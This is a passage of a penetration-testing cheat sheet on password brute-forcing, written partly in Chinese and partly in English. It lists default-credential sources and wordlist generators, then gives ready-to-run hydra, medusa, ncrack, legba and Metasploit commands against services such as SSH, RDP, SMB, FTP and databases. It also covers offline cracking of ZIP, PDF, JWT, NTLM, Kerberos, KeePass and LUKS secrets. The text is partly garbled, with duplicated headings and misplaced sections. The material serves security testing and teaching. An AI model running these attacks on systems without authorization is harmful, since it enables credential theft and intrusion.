* [**http://www.vulnerabilityassessment.co.uk/passwordsC.htm**](http://www.vulnerabilityassessment.co.uk/passwordsC.htm)
* [**https://192-168-1-1ip.mobi/default-router-passwords-list/**](https://192-168-1-1ip.mobi/default-router-passwords-list/)
* [**https://datarecovery.com/rd/default-passwords/**](https://datarecovery.com/rd/default-passwords/)
* [**https://bizuns.com/default-passwords-list**](https://bizuns.com/default-passwords-list)
* [**https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv**](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/default-passwords.csv)
* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
* [**https://www.cirt.net/passwords**](https://www.cirt.net/passwords)
* [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com)
* [**https://many-passwords.github.io/**](https://many-passwords.github.io)
* [**https://theinfocentric.com/**](https://theinfocentric.com/)

### **创建您自己的字典**

尽可能多地了解目标的信息，并生成自定义字典。可能有用的工具：

#### Crunch

```bash
crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using charset mixalpha (inside file charset.lst)

@ Lower case alpha characters
, Upper case alpha characters
% Numeric characters
^ Special characters including spac
crunch 6 8 -t ,@@^^%%
```

#### Cewl

Cewl is a tool used to generate custom wordlists by crawling a target's website and extracting unique words. It can be used to create wordlists for brute-forcing passwords based on the target's specific interests or content.

```bash
cewl example.com -m 5 -w words.txt
```

#### [CUPP](https://github.com/Mebus/cupp)

基于对受害者的了解（姓名、日期等）生成密码

```
python3 cupp.py -h
```

#### [Wister](https://github.com/cycurity/wister)

一个字典生成工具，允许您提供一组单词，从给定的单词中创建多个变体，生成一个独特且理想的字典，以用于特定目标。

```bash
python3 wister.py -w jane doe 2022 summer madrid 1998 -c 1 2 3 4 5 -o wordlist.lst

__          _______  _____ _______ ______ _____
\ \        / /_   _|/ ____|__   __|  ____|  __ \
\ \  /\  / /  | | | (___    | |  | |__  | |__) |
\ \/  \/ /   | |  \___ \   | |  |  __| |  _  /
\  /\  /   _| |_ ____) |  | |  | |____| | \ \
\/  \/   |_____|_____/   |_|  |______|_|  \_\

Version 1.0.3                    Cycurity

Generating wordlist...
[########################################] 100%
Generated 67885 lines.

Finished in 0.920s.
```

#### [pydictor](https://github.com/LandGrey/pydictor)

#### 字典列表

* [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists)
* [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium)
* [**https://github.com/kaonashi-passwords/Kaonashi**](https://github.com/kaonashi-passwords/Kaonashi)
* [**https://github.com/google/fuzzing/tree/master/dictionaries**](https://github.com/google/fuzzing/tree/master/dictionaries)
* [**https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm**](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm)
* [**https://weakpass.com/wordlist/**](https://weakpass.com/wordlist/)
* [**https://wordlists.assetnote.io/**](https://wordlists.assetnote.io/)
* [**https://github.com/fssecur3/fuzzlists**](https://github.com/fssecur3/fuzzlists)
* [**https://hashkiller.io/listmanager**](https://hashkiller.io/listmanager)
* [**https://github.com/Karanxa/Bug-Bounty-Wordlists**](https://github.com/Karanxa/Bug-Bounty-Wordlists)

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-78abb7891633b1e8147b4e743e4f00af375d3cd6%2Fimage%20(45).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用 [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) 可轻松构建和**自动化工作流程**，利用全球**最先进**的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

### 服务

按服务名称按字母顺序排列。

#### AFP

```bash
nmap -p 548 --script afp-brute <IP>
msf> use auxiliary/scanner/afp/afp_login
msf> set BLANK_PASSWORDS true
msf> set USER_AS_PASS true
msf> set PASS_FILE <PATH_PASSWDS>
msf> set USER_FILE <PATH_USERS>
msf> run
```

#### AJP

#### AJP

```bash
nmap --script ajp-brute -p 8009 <IP>
```

### AMQP (ActiveMQ, RabbitMQ, Qpid, JORAM and Solace)

### AMQP（ActiveMQ、RabbitMQ、Qpid、JORAM和Solace）

```bash
legba amqp --target localhost:5672 --username admin --password data/passwords.txt [--amql-ssl]
```

#### Cassandra

**Brute Force**

Brute force attacks against Cassandra involve attempting to guess valid credentials by systematically trying all possible combinations of usernames and passwords. This is typically achieved by using automated tools that can rapidly generate and test different combinations until the correct one is found.

**Prevention**

To prevent brute force attacks against Cassandra, it is recommended to implement strong password policies, such as using complex and lengthy passwords, enabling account lockout mechanisms after a certain number of failed login attempts, and monitoring the system for any unusual login patterns that may indicate a brute force attack in progress. Additionally, using multi-factor authentication can add an extra layer of security to help mitigate the risk of unauthorized access.

```bash
nmap --script cassandra-brute -p 9160 <IP>
# legba ScyllaDB / Apache Casandra
legba scylla --username cassandra --password wordlists/passwords.txt --target localhost:9042
```

#### CouchDB

**Brute Force**

**Description**

Brute forcing CouchDB involves attempting to guess valid credentials by systematically trying all possible combinations of usernames and passwords.

**Detection**

Monitor authentication logs for multiple failed login attempts from the same source IP address.

**Prevention**

* Implement account lockout policies after a certain number of failed login attempts.
* Enforce strong password policies to make brute forcing more difficult.
* Consider implementing multi-factor authentication to add an extra layer of security.

```bash
msf> use auxiliary/scanner/couchdb/couchdb_login
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get /
```

#### Docker Registry

#### Docker注册表

```
hydra -L /usr/share/brutex/wordlists/simple-users.txt  -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/
```

#### Elasticsearch

#### Elasticsearch

```
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get /
```

#### FTP

FTP (File Transfer Protocol) is a standard network protocol used to transfer files between a client and a server on a computer network. FTP typically operates on port 21.

#### Brute Force Attack

A brute force attack is a trial-and-error method used to obtain information such as a user password or personal identification number (PIN). In a brute force attack, automated software is used to generate a large number of consecutive guesses as to the value of the desired data.

```bash
hydra -l root -P passwords.txt [-t 32] <IP> ftp
ncrack -p 21 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ftp
legba ftp --username admin --password wordlists/passwords.txt --target localhost:21
```

#### HTTP 通用暴力破解

[**WFuzz**](/pentesting-web/web-tool-wfuzz)

#### HTTP基本身份验证

```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/
# Use https-get mode for https
medusa -h <IP> -u <username> -P  <passwords.txt> -M  http -m DIR:/path/to/auth -T 10
legba http.basic --username admin --password wordlists/passwords.txt --target http://localhost:8888/
```

#### HTTP - NTLM

**Brute Force**

Brute forcing NTLM hashes is a common technique used to crack passwords. Tools like `hashcat` and `John the Ripper` can be used to perform brute force attacks against NTLM hashes. These tools allow you to try a large number of password combinations in a short amount of time, increasing the chances of finding the correct password. It is important to use a good wordlist and rules when performing brute force attacks to maximize the chances of success.

```bash
legba http.ntlm1 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
legba http.ntlm2 --domain example.org --workstation client --username admin --password wordlists/passwords.txt --target https://localhost:8888/
```

#### HTTP - Post Form

#### HTTP - 提交表单

```bash
hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb  http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V
# Use https-post-form mode for https
```

对于http**s**，您必须从"http-post-form"更改为"**https-post-form**"

#### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle

```bash
cmsmap -f W/J/D/M -u a -p a https://wordpress.com
# Check also https://github.com/evilsocket/legba/wiki/HTTP
```

#### IMAP

IMAP (Internet Message Access Protocol) is a widely used protocol for email retrieval. It operates over port 143 and allows an email client to access email on a remote mail server. IMAP can be a target for brute force attacks to gain unauthorized access to email accounts.

```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> imap -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f <IP> imap -V
nmap -sV --script imap-brute -p <PORT> <IP>
legba imap --username user --password data/passwords.txt --target localhost:993
```

#### IRC

#### IRC

Internet Relay Chat（IRC）是一种实时互联网通信协议，用于在网络上进行文本通信。IRC通常用于群组聊天和私人对话。

```bash
nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p <PORT> <IP>
```

#### ISCSI

#### ISCSI

```bash
nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 <IP>
```

#### JWT

JSON Web Tokens（JWT）是一种用于在网络应用之间传递信息的开放标准（RFC 7519）。它通过使用数字签名对信息进行验证和信任。

```bash
#hashcat
hashcat -m 16500 -a 0 jwt.txt .\wordlists\rockyou.txt

#https://github.com/Sjord/jwtcrack
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt

#John
john jwt.txt --wordlist=wordlists.txt --format=HMAC-SHA256

#https://github.com/ticarpi/jwt_tool
python3 jwt_tool.py -d wordlists.txt <JWT token>

#https://github.com/brendan-rius/c-jwt-cracker
./jwtcrack eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc 1234567890 8

#https://github.com/mazen160/jwt-pwn
python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc -w wordlist.txt

#https://github.com/lmammino/jwt-cracker
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6
```

#### LDAP

LDAP（轻型目录访问协议）是一种用于访问和维护分布式目录信息服务的协议。

```bash
nmap --script ldap-brute -p 389 <IP>
legba ldap --target 127.0.0.1:389 --username admin --password @wordlists/passwords.txt --ldap-domain example.org --single-match
```

#### MQTT

#### MQTT

```
ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v
legba mqtt --target 127.0.0.1:1883 --username admin --password wordlists/passwords.txt
```

#### Mongo

```bash
nmap -sV --script mongodb-brute -n -p 27017 <IP>
use auxiliary/scanner/mongodb/mongodb_login
legba mongodb --target localhost:27017 --username root --password data/passwords.txt
```

#### MSSQL

#### MSSQL

```bash
legba mssql --username SA --password wordlists/passwords.txt --target localhost:1433
```

#### MySQL

#### MySQL

```bash
# hydra
hydra -L usernames.txt -P pass.txt <IP> mysql

# msfconsole
msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false

# medusa
medusa -h <IP/Host> -u <username> -P <password_list> <-f | to stop medusa on first success attempt> -t <threads> -M mysql

#Legba
legba mysql --username root --password wordlists/passwords.txt --target localhost:3306
```

#### OracleSQL

#### OracleSQL

```bash
patator oracle_login sid=<SID> host=<IP> user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017

./odat.py passwordguesser -s $SERVER -d $SID
./odat.py passwordguesser -s $MYSERVER -p $PORT --accounts-file accounts_multiple.txt

#msf1
msf> use admin/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORT 1521
msf> set SID <SID>

#msf2, this option uses nmap and it fails sometimes for some reason
msf> use scanner/oracle/oracle_login
msf> set RHOSTS <IP>
msf> set RPORTS 1521
msf> set SID <SID>

#for some reason nmap fails sometimes when executing this script
nmap --script oracle-brute -p 1521 --script-args oracle-brute.sid=<SID> <IP>

legba oracle --target localhost:1521 --oracle-database SYSTEM --username admin --password data/passwords.txt
```

为了使用**oracle\_login**与**patator**，您需要**安装**：

```bash
pip3 install cx_Oracle --upgrade
```

[离线 OracleSQL 哈希暴力破解](https://github.com/carlospolop/hacktricks/blob/master/network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force)（**版本 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** 和 **11.2.0.3**）:

```bash
nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30
```

#### POP

#### POP

```bash
hydra -l USERNAME -P /path/to/passwords.txt -f <IP> pop3 -V
hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f <IP> pop3 -V

# Insecure
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:110

# SSL
legba pop3 --username admin@example.com --password wordlists/passwords.txt --target localhost:995 --pop3-ssl
```

#### PostgreSQL

#### PostgreSQL

```bash
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> postgres
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M postgres
ncrack –v –U /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP>:5432
patator pgsql_login host=<IP> user=FILE0 0=/root/Desktop/user.txt password=FILE1 1=/root/Desktop/pass.txt
use auxiliary/scanner/postgres/postgres_login
nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 <IP>
legba pgsql --username admin --password wordlists/passwords.txt --target localhost:5432
```

#### PPTP

您可以从<https://http.kali.org/pool/main/t/thc-pptp-bruter/>下载`.deb`软件包进行安装。

```bash
sudo dpkg -i thc-pptp-bruter*.deb #Install the package
cat rockyou.txt | thc-pptp-bruter –u <Username> <IP>
```

#### RDP

RDP (Remote Desktop Protocol) is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. RDP is commonly used for remote administration and accessing virtual desktops.

**Brute Force**

Brute force attacks against RDP involve attempting to login to an RDP server by systematically trying all possible combinations of usernames and passwords until the correct one is found. This method is time-consuming but can be effective if weak credentials are used. It is important to use strong, complex passwords and implement account lockout policies to prevent brute force attacks.

```bash
ncrack -vv --user <User> -P pwds.txt rdp://<IP>
hydra -V -f -L <userslist> -P <passwlist> rdp://<IP>
legba rdp --target localhost:3389 --username admin --password data/passwords.txt [--rdp-domain <RDP_DOMAIN>] [--rdp-ntlm] [--rdp-admin-mode] [--rdp-auto-logon]
```

#### Redis

#### Redis

```bash
msf> use auxiliary/scanner/redis/redis_login
nmap --script redis-brute -p 6379 <IP>
hydra –P /path/pass.txt redis://<IP>:<PORT> # 6379 is the default
legba redis --target localhost:6379 --username admin --password data/passwords.txt [--redis-ssl]
```

#### Rexec

#### Rexec

Rexec is a simple service that allows users to execute commands on a remote system. It is often used by administrators to manage servers and network devices. Rexec is a plaintext protocol, which means that data is not encrypted during transmission. This makes it vulnerable to eavesdropping attacks. An attacker can use a brute-force attack to guess the username and password of the Rexec service and gain unauthorized access to the remote system.

```bash
hydra -l <username> -P <password_file> rexec://<Victim-IP> -v -V
```

#### Rlogin

Rlogin是一种远程登录协议，通常用于UNIX系统。攻击者可以使用暴力破解技术尝试破解Rlogin账户的密码。

```bash
hydra -l <username> -P <password_file> rlogin://<Victim-IP> -v -V
```

#### Rsh

Rsh（远程shell）是一种基于文本的远程登录协议，类似于SSH。攻击者可以使用暴力破解技术尝试猜测用户的密码来访问远程系统。

```bash
hydra -L <Username_list> rsh://<Victim_IP> -v -V
```

<http://pentestmonkey.net/tools/misc/rsh-grind>

#### Rsync

#### Rsync

#### Rsync

```bash
nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 <IP>
```

#### RTSP

#### RTSP

```bash
hydra -l root -P passwords.txt <IP> rtsp
```

#### SFTP

SFTP (Secure File Transfer Protocol) is a secure way to transfer files between machines over a secure channel. It provides encryption for both authentication credentials and data transferred between the client and server.

```bash
legba sftp --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba sftp --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
```

#### SNMP

#### SNMP

```bash
msf> use auxiliary/scanner/snmp/snmp_login
nmap -sU --script snmp-brute <target> [--script-args snmp-brute.communitiesdb=<wordlist> ]
onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt <IP>
hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp
```

#### SMB

#### SMB

#### SMB

```bash
nmap --script smb-brute -p 445 <IP>
hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1
legba smb --target share.company.com --username admin --password data/passwords.txt [--smb-workgroup <SMB_WORKGROUP>] [--smb-share <SMB_SHARE>]
```

#### SMTP

Simple Mail Transfer Protocol（简单邮件传输协议）

```bash
hydra -l <username> -P /path/to/passwords.txt <IP> smtp -V
hydra -l <username> -P /path/to/passwords.txt -s 587 <IP> -S -v -V #Port 587 for SMTP with SSL
legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism <mech>]
```

#### SOCKS

#### SOCKS

```bash
nmap  -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 <IP>
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt
# With alternative address
legba socks5 --target localhost:1080 --username admin --password data/passwords.txt --socks5-address 'internal.company.com' --socks5-port 8080
```

#### SQL Server

**Brute Force**

Brute force attacks against SQL Server involve attempting to guess usernames and passwords to gain unauthorized access. This can be done using automated tools that systematically try all possible combinations of usernames and passwords until the correct one is found. It is important to use strong, complex passwords and implement account lockout policies to protect against brute force attacks.

```bash
#Use the NetBIOS name of the machine as domain
crackmapexec mssql <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt <IP> mssql
medusa -h <IP> –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssql
nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts <host> #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts
msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT
```

#### SSH

SSH（Secure Shell）是一种加密网络协议，用于通过不安全的网络安全地进行远程访问和控制。

```bash
hydra -l root -P passwords.txt [-t 32] <IP> ssh
ncrack -p 22 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M ssh
patator ssh_login host=<ip> port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed'
legba ssh --username admin --password wordlists/passwords.txt --target localhost:22
# Try keys from a folder
legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --target localhost:22
```

**弱SSH密钥 / Debian可预测PRNG**

一些系统在用于生成加密材料的随机种子中存在已知缺陷。这可能导致密钥空间大幅缩小，可以使用工具（如[snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute)）对其进行暴力破解。还可以使用预生成的弱密钥集，例如[g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)。

#### STOMP（ActiveMQ、RabbitMQ、HornetQ和OpenMQ）

STOMP文本协议是一种广泛使用的消息传递协议，**允许与流行的消息队列服务（如RabbitMQ、ActiveMQ、HornetQ和OpenMQ）进行无缝通信和交互**。它提供了一种标准化和高效的方法来交换消息并执行各种消息操作。

```bash
legba stomp --target localhost:61613 --username admin --password data/passwords.txt
```

#### Telnet

Telnet是一种用于远程登录的网络协议。攻击者可以使用暴力破解技术尝试破解Telnet服务的凭据。攻击者通常会使用常见的用户名和密码组合进行尝试，以获取对目标系统的访问权限。

```bash
hydra -l root -P passwords.txt [-t 32] <IP> telnet
ncrack -p 23 --user root -P passwords.txt <IP> [-T 5]
medusa -u root -P 500-worst-passwords.txt -h <IP> -M telnet

legba telnet \
--username admin \
--password wordlists/passwords.txt \
--target localhost:23 \
--telnet-user-prompt "login: " \
--telnet-pass-prompt "Password: " \
--telnet-prompt ":~$ " \
--single-match # this option will stop the program when the first valid pair of credentials will be found, can be used with any plugin
```

#### VNC

#### VNC

```bash
hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s <PORT> <IP> vnc
medusa -h <IP> –u root -P /root/Desktop/pass.txt –M vnc
ncrack -V --user root -P /root/Desktop/pass.txt <IP>:>POR>T
patator vnc_login host=<IP> password=FILE0 0=/root/Desktop/pass.txt –t 1 –x retry:fgep!='Authentication failure' --max-retries 0 –x quit:code=0
use auxiliary/scanner/vnc/vnc_login
nmap -p 5900,5901 --script vnc-brute --script-args brute.credfile=wordlist.txt <IP>
legba vnc --target localhost:5901 --password data/passwords.txt

#Metasploit
use auxiliary/scanner/vnc/vnc_login
set RHOSTS <ip>
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst
```

#### Winrm

#### Winrm

```bash
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt
```

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-78abb7891633b1e8147b4e743e4f00af375d3cd6%2Fimage%20(45).png?alt=media" alt=""><figcaption></figcaption></figure>

\
使用[**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) 可轻松构建和**自动化工作流**，利用全球**最先进**的社区工具。\
立即获取访问权限：

{% embed url="<https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks>" %}

### 本地

#### 在线破解数据库

* [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1)
* <https://shuck.sh/get-shucking.php> (MSCHAPv2/PPTP-VPN/NetNTLMv1 with/without ESS/SSP and with any challenge's value)
* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...)
* [https://crackstation.net/](https://crackstation.net) (Hashes)
* [https://md5decrypt.net/](https://md5decrypt.net) (MD5)
* [https://gpuhash.me/](https://gpuhash.me) (Hashes and file hashes)
* <https://hashes.org/search.php> (Hashes)
* [https://www.cmd5.org/](https://www.cmd5.org) (Hashes)
* <https://hashkiller.co.uk/Cracker> (MD5, NTLM, SHA1, MySQL5, SHA256, SHA512)
* <https://www.md5online.org/md5-decrypt.html> (MD5)
* [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com)

在尝试对哈希进行暴力破解之前，请查看这些内容。

#### ZIP

```bash
#sudo apt-get install fcrackzip
fcrackzip -u -D -p '/usr/share/wordlists/rockyou.txt' chall.zip
```

```bash
zip2john file.zip > zip.john
john zip.john
```

```bash
#$zip2$*0*3*0*a56cb83812be3981ce2a83c581e4bc4f*4d7b*24*9af41ff662c29dfff13229eefad9a9043df07f2550b9ad7dfc7601f1a9e789b5ca402468*694b6ebb6067308bedcd*$/zip2$
hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt
.\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack
```

**已知明文 zip 攻击**

您需要知道加密 zip 文件中包含的文件的**明文**（或部分明文）。您可以通过运行以下命令来检查加密 zip 中包含的文件的**文件名和文件大小**：**`7z l encrypted.zip`**\
从发布页面下载 [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)。

```bash
# You need to create a zip file containing only the file that is inside the encrypted zip
zip plaintext.zip plaintext.file

./bkcrack -C <encrypted.zip> -c <plaintext.file> -P <plaintext.zip> -p <plaintext.file>
# Now wait, this should print a key such as 7b549874 ebc25ec5 7e465e18
# With that key you can create a new zip file with the content of encrypted.zip
# but with a different pass that you set (so you can decrypt it)
./bkcrack -C <encrypted.zip> -k 7b549874 ebc25ec5 7e465e18 -U unlocked.zip new_pwd
unzip unlocked.zip #User new_pwd as password
```

#### 7z

#### 7z

```bash
cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z
```

```bash
#Download and install requirements for 7z2john
wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo/run/7z2john.pl
apt-get install libcompress-raw-lzma-perl
./7z2john.pl file.7z > 7zhash.john
```

#### PDF

#### PDF

```bash
apt-get install pdfcrack
pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt
#pdf2john didn't work well, john didn't know which hash type was
# To permanently decrypt the pdf
sudo apt-get install qpdf
qpdf --password=<PASSWORD> --decrypt encrypted.pdf plaintext.pdf
```

#### PDF Owner Password

要破解PDF所有者密码，请查看此链接：<https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/>

#### JWT

```bash
git clone https://github.com/Sjord/jwtcrack.git
cd jwtcrack

#Bruteforce using crackjwt.py
python crackjwt.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc /usr/share/wordlists/rockyou.txt

#Bruteforce using john
python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5hbWVcIjpcImFkbWluXCIsXCJyb2xlXCI6XCJhZG1pblwifSJ9.8R-KVuXe66y_DXVOVgrEqZEoadjBnpZMNbLGhM8YdAc > jwt.john
john jwt.john #It does not work with Kali-John
```

#### NTLM破解

```bash
Format:USUARIO:ID:HASH_LM:HASH_NT:::
john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes
hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot
```

#### Keepass

```bash
sudo apt-get install -y kpcli #Install keepass tools like keepass2john
keepass2john file.kdbx > hash #The keepass is only using password
keepass2john -k <file-password> file.kdbx > hash # The keepass is also using a file as a needed credential
#The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john
john --wordlist=/usr/share/wordlists/rockyou.txt hash
```

#### Keberoasting

#### Keberoasting

```bash
john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast
hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt
./tgsrepcrack.py wordlist.txt 1-MSSQLSvc~sql01.medin.local~1433-MYDOMAIN.LOCAL.kirbi
```

#### 破解LUKS加密

**方法1**

安装：<https://github.com/glv2/bruteforce-luks>

```bash
bruteforce-luks -f ./list.txt ./backup.img
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```

**方法 2**

```bash
cryptsetup luksDump backup.img #Check that the payload offset is set to 4096
dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1
hashcat -m 14600 -a 0 luckshash  wordlists/rockyou.txt
cryptsetup luksOpen backup.img mylucksopen
ls /dev/mapper/ #You should find here the image mylucksopen
mount /dev/mapper/mylucksopen /mnt
```

#### Mysql

另一个Luks BF教程: <http://blog.dclabs.com.br/2020/03/bruteforcing-linux-disk-encription-luks.html?m=1>

```bash
#John hash format
<USERNAME>:$mysqlna$<CHALLENGE>*<RESPONSE>
dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d
```

#### PGP/GPG私钥

```bash
gpg2john private_pgp.key #This will generate the hash and save it in a file
john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
```

#### Cisco

<figure><img src="https://615200056-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F1DLBZdNLkY4FUHtMnjPr%2Fuploads%2Fgit-blob-728a1e16f6f04c1c9b82cee7a11a3369cd27234d%2Fimage%20(660).png?alt=media" alt=""><figcaption></figcaption></figure>

#### DPAPI Master Key

使用<https://github.com/openwall/john/blob/bleeding-jumbo/run/DPAPImk2john.py>然后运行john

#### Open Office Pwd Protected Column

如果您有一个由密码保护的列的xlsx文件，您可以取消保护它：

* **将其上传到谷歌云盘**，密码将自动删除
* **手动**进行**删除**：

```bash
unzip file.xlsx
grep -R "sheetProtection" ./*
# Find something like: <sheetProtection algorithmName="SHA-512"
